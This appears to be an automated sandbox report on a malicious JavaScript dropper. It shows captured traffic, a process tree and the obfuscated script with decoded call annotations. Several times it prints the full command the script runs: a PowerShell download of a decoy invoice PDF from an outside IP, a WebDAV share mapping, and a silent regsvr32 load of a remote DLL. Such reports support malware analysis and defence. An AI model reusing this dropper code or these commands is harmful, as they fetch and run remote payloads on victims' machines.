Jan 11, 2025 07:28:55.999845028 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 07:28:55.999922037 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 07:28:55.999933958 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 11, 2025 07:28:55.999950886 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 11, 2025 07:28:56.059783936 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	7652	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:28:57.489676952 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:28:58.283504963 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:28:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:28:47
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js"
Imagebase:	0x7ff6f1180000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:28:47
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll
Imagebase:	0x7ff76f610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:28:48
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:28:48
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:28:56
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:28:56
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76f610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:28:56
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff721490000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:28:56
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:28:57
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:28:57
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1652,i,8447043099756402712,18323641986116161168,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kgvqm() {	kgvqm() ➔ undefined
1	ptxcbwr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ylwrmp = this[deejulmy + vrgworlc + fyscnfsn + ctfoedgt + xhjmfar + nrgxhkfi + vmtfqqgh + wtcvnsyhv] ( this[zdzgdwdhk + rbtuhax + lvpdsfrgj + fyscnfsn + cvkhlvc + deejulmy + wtcvnsyhv][cbmbuerf + fyscnfsn + xhjmfar + vrgworlc + wtcvnsyhv + xhjmfar + skkieuui + drnxpsldn + udwaphmv + xhjmfar + lvpdsfrgj + wtcvnsyhv] ( zdzgdwdhk + rbtuhax + lvpdsfrgj + fyscnfsn + cvkhlvc + deejulmy + wtcvnsyhv + zerzv + rbtuhax + bdvdwuxg + xhjmfar + ugwcc + ugwcc ) [gnsdzmu + xhjmfar + qcbdyzut + gnsdzmu + xhjmfar + vrgworlc + cdlvqbhu] ( jszwjuqgm + qjctfnki + rmyagtc + xyvkach + vxowpqzom + cbmbuerf + xoseq + gnsdzmu + gnsdzmu + rmyagtc + socfvvbbe + plbbf + vxowpqzom + xoseq + rbtuhax + rmyagtc + gnsdzmu + wjgrysta + cbmbuerf + hvcwbn + vmtfqqgh + wtcvnsyhv + fyscnfsn + hvcwbn + ugwcc + ppcfpmvub + ihrvug + vrgworlc + vmtfqqgh + xhjmfar + ugwcc + wjgrysta + nrgxhkfi + vmtfqqgh + wtcvnsyhv + xhjmfar + fyscnfsn + vmtfqqgh + vrgworlc + wtcvnsyhv + cvkhlvc + hvcwbn + vmtfqqgh + vrgworlc + ugwcc + wjgrysta + zncov + hvcwbn + lvpdsfrgj + vrgworlc + ugwcc + xhjmfar ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( smsanca = 0 ; smsanca < ptxcbwr[ugwcc + xhjmfar + vmtfqqgh + qcbdyzut + wtcvnsyhv + bdvdwuxg] ; ++ smsanca )
4	{
5	if ( ylwrmp == ptxcbwr[smsanca] )
6	{
7	ylwrmp = true;
8	break ;
9	}
10	}
11	if ( ylwrmp !== true )
12	this[zdzgdwdhk + rbtuhax + lvpdsfrgj + fyscnfsn + cvkhlvc + deejulmy + wtcvnsyhv][kyobmgjc + jtrtx + cvkhlvc + wtcvnsyhv] ( );
13	this[zdzgdwdhk + rbtuhax + lvpdsfrgj + fyscnfsn + cvkhlvc + deejulmy + wtcvnsyhv][cbmbuerf + fyscnfsn + xhjmfar + vrgworlc + wtcvnsyhv + xhjmfar + skkieuui + drnxpsldn + udwaphmv + xhjmfar + lvpdsfrgj + wtcvnsyhv] ( zdzgdwdhk + rbtuhax + lvpdsfrgj + fyscnfsn + cvkhlvc + deejulmy + wtcvnsyhv + zerzv + rbtuhax + bdvdwuxg + xhjmfar + ugwcc + ugwcc ) [fyscnfsn + jtrtx + vmtfqqgh] ( lvpdsfrgj + rvmfl + cdlvqbhu + ppcfpmvub + jthmfox + lvpdsfrgj + ppcfpmvub + deejulmy + hvcwbn + cgfumqqd + xhjmfar + fyscnfsn + ctfoedgt + bdvdwuxg + xhjmfar + ugwcc + ugwcc + zerzv + xhjmfar + gpaxzr + xhjmfar + ppcfpmvub + fvywdwrl + cbmbuerf + hvcwbn + rvmfl + rvmfl + vrgworlc + vmtfqqgh + cdlvqbhu + ppcfpmvub + galeufxn + nrgxhkfi + vmtfqqgh + lsebq + hvcwbn + ukdngsg + xhjmfar + fvywdwrl + zdzgdwdhk + xhjmfar + drnxpsldn + gnsdzmu + xhjmfar + lktvup + jtrtx + xhjmfar + ctfoedgt + wtcvnsyhv + ppcfpmvub + fvywdwrl + skkieuui + jtrtx + wtcvnsyhv + pjdumde + cvkhlvc + ugwcc + xhjmfar + ppcfpmvub + jipnen + wtcvnsyhv + xhjmfar + rvmfl + deejulmy + jipnen + wjgrysta + cvkhlvc + vmtfqqgh + lsebq + hvcwbn + cvkhlvc + lvpdsfrgj + xhjmfar + zerzv + deejulmy + cdlvqbhu + iqzbkbk + ppcfpmvub + bdvdwuxg + wtcvnsyhv + wtcvnsyhv + deejulmy + bdwddsfhu + jthmfox + jthmfox + yrhnmji + pdjspfuk + iauxvw + zerzv + yrhnmji + tdspo + iauxvw + zerzv + yrhnmji + zerzv + vlgbozmdn + bcgmtdlyq + gkuyd + jthmfox + cvkhlvc + vmtfqqgh + lsebq + hvcwbn + cvkhlvc + lvpdsfrgj + xhjmfar + zerzv + deejulmy + bdvdwuxg + deejulmy + galeufxn + eyvylxrsd + eyvylxrsd + ctfoedgt + wtcvnsyhv + vrgworlc + fyscnfsn + wtcvnsyhv + ppcfpmvub + jipnen + wtcvnsyhv + xhjmfar + rvmfl + deejulmy + jipnen + wjgrysta + cvkhlvc + vmtfqqgh + lsebq + hvcwbn + cvkhlvc + lvpdsfrgj + xhjmfar + zerzv + deejulmy + cdlvqbhu + iqzbkbk + eyvylxrsd + eyvylxrsd + lvpdsfrgj + rvmfl + cdlvqbhu + ppcfpmvub + jthmfox + lvpdsfrgj + ppcfpmvub + vmtfqqgh + xhjmfar + wtcvnsyhv + ppcfpmvub + jtrtx + ctfoedgt + xhjmfar + ppcfpmvub + wjgrysta + wjgrysta + yrhnmji + pdjspfuk + iauxvw + zerzv + yrhnmji + tdspo + iauxvw + zerzv + yrhnmji + zerzv + vlgbozmdn + bcgmtdlyq + gkuyd + jdmhnpn + hgwrebfh + hgwrebfh + hgwrebfh + hgwrebfh + wjgrysta + cdlvqbhu + vrgworlc + lsebq + cgfumqqd + cgfumqqd + cgfumqqd + fyscnfsn + hvcwbn + hvcwbn + wtcvnsyhv + wjgrysta + eyvylxrsd + eyvylxrsd + lvpdsfrgj + rvmfl + cdlvqbhu + ppcfpmvub + jthmfox + lvpdsfrgj + ppcfpmvub + fyscnfsn + xhjmfar + qcbdyzut + ctfoedgt + lsebq + fyscnfsn + iauxvw + vlgbozmdn + ppcfpmvub + jthmfox + ctfoedgt + ppcfpmvub + wjgrysta + wjgrysta + yrhnmji + pdjspfuk + iauxvw + zerzv + yrhnmji + tdspo + iauxvw + zerzv + yrhnmji + zerzv + vlgbozmdn + bcgmtdlyq + gkuyd + jdmhnpn + hgwrebfh + hgwrebfh + hgwrebfh + hgwrebfh + wjgrysta + cdlvqbhu + vrgworlc + lsebq + cgfumqqd + cgfumqqd + cgfumqqd + fyscnfsn + hvcwbn + hvcwbn + wtcvnsyhv + wjgrysta + pdjspfuk + iauxvw + iauxvw + bcgmtdlyq + vlgbozmdn + vlgbozmdn + pdjspfuk + gkuyd + hgwrebfh + gkuyd + gkuyd + gkuyd + iauxvw + zerzv + cdlvqbhu + ugwcc + ugwcc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll",0,false) ➔ 0
14	}
15	socfvvbbe = "W";
16	socfvvbbe = "c";
17	socfvvbbe = "q";
18	socfvvbbe = "M";
19	socfvvbbe = "f";
20	socfvvbbe = "i";
21	socfvvbbe = "g";
22	socfvvbbe = "b";
23	socfvvbbe = "b";
24	socfvvbbe = "b";
25	socfvvbbe = "D";
26	socfvvbbe = "B";
27	socfvvbbe = "f";
28	socfvvbbe = "q";
29	socfvvbbe = "S";
30	socfvvbbe = "m";
31	socfvvbbe = "A";
32	socfvvbbe = "e";
33	socfvvbbe = "x";
34	socfvvbbe = "J";
35	socfvvbbe = "t";
36	socfvvbbe = "C";
37	socfvvbbe = "N";
38	socfvvbbe = "T";
39	socfvvbbe = "e";
40	socfvvbbe = "B";
41	socfvvbbe = "K";
42	socfvvbbe = "D";
43	socfvvbbe = "T";
44	socfvvbbe = "A";
45	socfvvbbe = "O";
46	socfvvbbe = "t";
47	socfvvbbe = "W";
48	socfvvbbe = "V";
49	socfvvbbe = "s";
50	socfvvbbe = "H";
51	socfvvbbe = "I";
52	socfvvbbe = "A";
53	socfvvbbe = "J";
54	socfvvbbe = "N";
55	wjgrysta = "p";
56	wjgrysta = "u";
57	wjgrysta = "x";
58	wjgrysta = "m";
59	wjgrysta = "N";
60	wjgrysta = "t";
61	wjgrysta = "o";
62	wjgrysta = "U";
63	wjgrysta = "N";
64	wjgrysta = "m";
65	wjgrysta = "F";
66	wjgrysta = "f";
67	wjgrysta = "G";
68	wjgrysta = "B";
69	wjgrysta = "K";
70	wjgrysta = "b";
71	wjgrysta = "F";
72	wjgrysta = "Y";
73	wjgrysta = "i";
74	wjgrysta = "K";
75	wjgrysta = "l";
76	wjgrysta = "l";
77	wjgrysta = "f";
78	wjgrysta = "P";
79	wjgrysta = "W";
80	wjgrysta = "\\";
81	lsebq = "G";
82	lsebq = "N";
83	lsebq = "O";
84	lsebq = "E";
85	lsebq = "T";
86	lsebq = "f";
87	lsebq = "M";
88	lsebq = "p";
89	lsebq = "t";
90	lsebq = "s";
91	lsebq = "j";
92	lsebq = "v";
93	lsebq = "U";
94	lsebq = "v";
95	zncov = "z";
96	zncov = "t";
97	zncov = "t";
98	zncov = "S";
99	zncov = "B";
100	zncov = "L";
101	yrhnmji = "D";
102	yrhnmji = "t";
103	yrhnmji = "t";
104	yrhnmji = "R";
105	yrhnmji = "z";
106	yrhnmji = "e";
107	yrhnmji = "T";
108	yrhnmji = "q";
109	yrhnmji = "J";
110	yrhnmji = "w";
111	yrhnmji = "w";
112	yrhnmji = "a";
113	yrhnmji = "b";
114	yrhnmji = "Z";
115	yrhnmji = "h";
116	yrhnmji = "A";
117	yrhnmji = "R";
118	yrhnmji = "S";
119	yrhnmji = "q";
120	yrhnmji = "b";
121	yrhnmji = "D";
122	yrhnmji = "b";
123	yrhnmji = "S";
124	yrhnmji = "M";
125	yrhnmji = "k";
126	yrhnmji = "u";
127	yrhnmji = "A";
128	yrhnmji = "Z";
129	yrhnmji = "g";
130	yrhnmji = "N";
131	yrhnmji = "X";
132	yrhnmji = "1";
133	lktvup = "P";
134	lktvup = "O";
135	lktvup = "o";
136	lktvup = "e";
137	lktvup = "s";
138	lktvup = "j";
139	lktvup = "C";
140	lktvup = "c";
141	lktvup = "J";
142	lktvup = "k";
143	lktvup = "e";
144	lktvup = "V";
145	lktvup = "O";
146	lktvup = "X";
147	lktvup = "L";
148	lktvup = "K";
149	lktvup = "v";
150	lktvup = "j";
151	lktvup = "v";
152	lktvup = "h";
153	lktvup = "V";
154	lktvup = "d";
155	lktvup = "n";
156	lktvup = "z";
157	lktvup = "Z";
158	lktvup = "H";
159	lktvup = "V";
160	lktvup = "l";
161	lktvup = "C";
162	lktvup = "D";
163	lktvup = "q";
164	fyscnfsn = "F";
165	fyscnfsn = "K";
166	fyscnfsn = "l";
167	fyscnfsn = "O";
168	fyscnfsn = "W";
169	fyscnfsn = "N";
170	fyscnfsn = "k";
171	fyscnfsn = "m";
172	fyscnfsn = "s";
173	fyscnfsn = "Y";
174	fyscnfsn = "E";
175	fyscnfsn = "M";
176	fyscnfsn = "u";
177	fyscnfsn = "e";
178	fyscnfsn = "y";
179	fyscnfsn = "s";
180	fyscnfsn = "C";
181	fyscnfsn = "j";
182	fyscnfsn = "n";
183	fyscnfsn = "d";
184	fyscnfsn = "F";
185	fyscnfsn = "R";
186	fyscnfsn = "u";
187	fyscnfsn = "N";
188	fyscnfsn = "m";
189	fyscnfsn = "M";
190	fyscnfsn = "K";
191	fyscnfsn = "x";
192	fyscnfsn = "F";
193	fyscnfsn = "b";
194	fyscnfsn = "Q";
195	fyscnfsn = "M";
196	fyscnfsn = "y";
197	fyscnfsn = "U";
198	fyscnfsn = "S";
199	fyscnfsn = "a";
200	fyscnfsn = "a";
201	fyscnfsn = "Q";
202	fyscnfsn = "d";
203	fyscnfsn = "r";
204	pdjspfuk = "X";
205	pdjspfuk = "F";
206	pdjspfuk = "D";
207	pdjspfuk = "K";
208	pdjspfuk = "y";
209	pdjspfuk = "c";
210	pdjspfuk = "T";
211	pdjspfuk = "X";
212	pdjspfuk = "N";
213	pdjspfuk = "j";
214	pdjspfuk = "c";
215	pdjspfuk = "o";
216	pdjspfuk = "I";
217	pdjspfuk = "X";
218	pdjspfuk = "j";
219	pdjspfuk = "v";
220	pdjspfuk = "J";
221	pdjspfuk = "Q";
222	pdjspfuk = "U";
223	pdjspfuk = "w";
224	pdjspfuk = "B";
225	pdjspfuk = "9";
226	cbmbuerf = "J";
227	cbmbuerf = "T";
228	cbmbuerf = "Z";
229	cbmbuerf = "T";
230	cbmbuerf = "Y";
231	cbmbuerf = "g";
232	cbmbuerf = "c";
233	cbmbuerf = "K";
234	cbmbuerf = "E";
235	cbmbuerf = "T";
236	cbmbuerf = "s";
237	cbmbuerf = "U";
238	cbmbuerf = "O";
239	cbmbuerf = "Q";
240	cbmbuerf = "C";
241	cbmbuerf = "N";
242	cbmbuerf = "V";
243	cbmbuerf = "C";
244	zdzgdwdhk = "m";
245	zdzgdwdhk = "Z";
246	zdzgdwdhk = "W";
247	xyvkach = "L";
248	xyvkach = "P";
249	xyvkach = "j";
250	xyvkach = "f";
251	xyvkach = "b";
252	xyvkach = "Z";
253	xyvkach = "c";
254	xyvkach = "w";
255	xyvkach = "t";
256	xyvkach = "X";
257	xyvkach = "G";
258	xyvkach = "T";
259	xyvkach = "B";
260	xyvkach = "g";
261	xyvkach = "Y";
262	gnsdzmu = "v";
263	gnsdzmu = "Z";
264	gnsdzmu = "J";
265	gnsdzmu = "G";
266	gnsdzmu = "m";
267	gnsdzmu = "h";
268	gnsdzmu = "M";
269	gnsdzmu = "X";
270	gnsdzmu = "I";
271	gnsdzmu = "k";
272	gnsdzmu = "r";
273	gnsdzmu = "S";
274	gnsdzmu = "z";
275	gnsdzmu = "r";
276	gnsdzmu = "L";
277	gnsdzmu = "p";
278	gnsdzmu = "h";
279	gnsdzmu = "H";
280	gnsdzmu = "f";
281	gnsdzmu = "D";
282	gnsdzmu = "W";
283	gnsdzmu = "f";
284	gnsdzmu = "x";
285	gnsdzmu = "o";
286	gnsdzmu = "B";
287	gnsdzmu = "g";
288	gnsdzmu = "O";
289	gnsdzmu = "l";
290	gnsdzmu = "u";
291	gnsdzmu = "k";
292	gnsdzmu = "w";
293	gnsdzmu = "l";
294	gnsdzmu = "S";
295	gnsdzmu = "K";
296	gnsdzmu = "r";
297	gnsdzmu = "I";
298	gnsdzmu = "V";
299	gnsdzmu = "p";
300	gnsdzmu = "w";
301	gnsdzmu = "Z";
302	gnsdzmu = "w";
303	gnsdzmu = "o";
304	gnsdzmu = "R";
305	vxowpqzom = "T";
306	vxowpqzom = "R";
307	vxowpqzom = "X";
308	vxowpqzom = "Y";
309	vxowpqzom = "m";
310	vxowpqzom = "y";
311	vxowpqzom = "t";
312	vxowpqzom = "V";
313	vxowpqzom = "S";
314	vxowpqzom = "B";
315	vxowpqzom = "A";
316	vxowpqzom = "r";
317	vxowpqzom = "Z";
318	vxowpqzom = "D";
319	vxowpqzom = "H";
320	vxowpqzom = "p";
321	vxowpqzom = "k";
322	vxowpqzom = "f";
323	vxowpqzom = "K";
324	vxowpqzom = "_";
325	tdspo = "V";
326	tdspo = "n";
327	tdspo = "h";
328	tdspo = "X";
329	tdspo = "u";
330	tdspo = "O";
331	tdspo = "g";
332	tdspo = "M";
333	tdspo = "u";
334	tdspo = "L";
335	tdspo = "k";
336	tdspo = "g";
337	tdspo = "C";
338	tdspo = "D";
339	tdspo = "n";
340	tdspo = "q";
341	tdspo = "L";
342	tdspo = "r";
343	tdspo = "l";
344	tdspo = "a";
345	tdspo = "y";
346	tdspo = "E";
347	tdspo = "x";
348	tdspo = "m";
349	tdspo = "C";
350	tdspo = "U";
351	tdspo = "q";
352	tdspo = "s";
353	tdspo = "t";
354	tdspo = "D";
355	tdspo = "j";
356	tdspo = "y";
357	tdspo = "r";
358	tdspo = "Q";
359	tdspo = "x";
360	tdspo = "y";
361	tdspo = "e";
362	tdspo = "C";
363	tdspo = "4";
364	deejulmy = "B";
365	deejulmy = "R";
366	deejulmy = "F";
367	deejulmy = "n";
368	deejulmy = "y";
369	deejulmy = "U";
370	deejulmy = "d";
371	deejulmy = "z";
372	deejulmy = "D";
373	deejulmy = "F";
374	deejulmy = "R";
375	deejulmy = "g";
376	deejulmy = "h";
377	deejulmy = "A";
378	deejulmy = "M";
379	deejulmy = "G";
380	deejulmy = "F";
381	deejulmy = "r";
382	deejulmy = "z";
383	deejulmy = "x";
384	deejulmy = "e";
385	deejulmy = "w";
386	deejulmy = "j";
387	deejulmy = "L";
388	deejulmy = "D";
389	deejulmy = "B";
390	deejulmy = "t";
391	deejulmy = "k";
392	deejulmy = "b";
393	deejulmy = "a";
394	deejulmy = "h";
395	deejulmy = "p";
396	gpaxzr = "z";
397	gpaxzr = "J";
398	gpaxzr = "m";
399	gpaxzr = "O";
400	gpaxzr = "y";
401	gpaxzr = "G";
402	gpaxzr = "t";
403	gpaxzr = "L";
404	gpaxzr = "T";
405	gpaxzr = "X";
406	gpaxzr = "J";
407	gpaxzr = "V";
408	gpaxzr = "k";
409	gpaxzr = "F";
410	gpaxzr = "R";
411	gpaxzr = "l";
412	gpaxzr = "x";
413	jipnen = "P";
414	jipnen = "Z";
415	jipnen = "u";
416	jipnen = "v";
417	jipnen = "j";
418	jipnen = "S";
419	jipnen = "x";
420	jipnen = "o";
421	jipnen = "i";
422	jipnen = "l";
423	jipnen = "x";
424	jipnen = "o";
425	jipnen = "V";
426	jipnen = "d";
427	jipnen = "y";
428	jipnen = "F";
429	jipnen = "I";
430	jipnen = "h";
431	jipnen = "g";
432	jipnen = "y";
433	jipnen = "T";
434	jipnen = "X";
435	jipnen = "m";
436	jipnen = "m";
437	jipnen = "E";
438	jipnen = "h";
439	jipnen = "b";
440	jipnen = "s";
441	jipnen = "o";
442	jipnen = "W";
443	jipnen = "I";
444	jipnen = "W";
445	jipnen = "T";
446	jipnen = "j";
447	jipnen = "S";
448	jipnen = "K";
449	jipnen = "I";
450	jipnen = "i";
451	jipnen = "e";
452	jipnen = "%";
453	jszwjuqgm = "Z";
454	jszwjuqgm = "z";
455	jszwjuqgm = "o";
456	jszwjuqgm = "k";
457	jszwjuqgm = "l";
458	jszwjuqgm = "a";
459	jszwjuqgm = "C";
460	jszwjuqgm = "u";
461	jszwjuqgm = "g";
462	jszwjuqgm = "e";
463	jszwjuqgm = "n";
464	jszwjuqgm = "Z";
465	jszwjuqgm = "Y";
466	jszwjuqgm = "t";
467	jszwjuqgm = "W";
468	jszwjuqgm = "k";
469	jszwjuqgm = "l";
470	jszwjuqgm = "h";
471	jszwjuqgm = "U";
472	jszwjuqgm = "t";
473	jszwjuqgm = "T";
474	jszwjuqgm = "h";
475	jszwjuqgm = "b";
476	jszwjuqgm = "D";
477	jszwjuqgm = "M";
478	jszwjuqgm = "T";
479	jszwjuqgm = "f";
480	jszwjuqgm = "r";
481	jszwjuqgm = "F";
482	jszwjuqgm = "B";
483	jszwjuqgm = "x";
484	jszwjuqgm = "T";
485	jszwjuqgm = "o";
486	jszwjuqgm = "U";
487	jszwjuqgm = "L";
488	jszwjuqgm = "m";
489	jszwjuqgm = "R";
490	jszwjuqgm = "e";
491	jszwjuqgm = "t";
492	jszwjuqgm = "Q";
493	jszwjuqgm = "M";
494	jszwjuqgm = "b";
495	jszwjuqgm = "U";
496	jszwjuqgm = "H";
497	bcgmtdlyq = "r";
498	bcgmtdlyq = "E";
499	bcgmtdlyq = "a";
500	bcgmtdlyq = "Z";
501	bcgmtdlyq = "I";
502	bcgmtdlyq = "n";
503	bcgmtdlyq = "U";
504	bcgmtdlyq = "e";
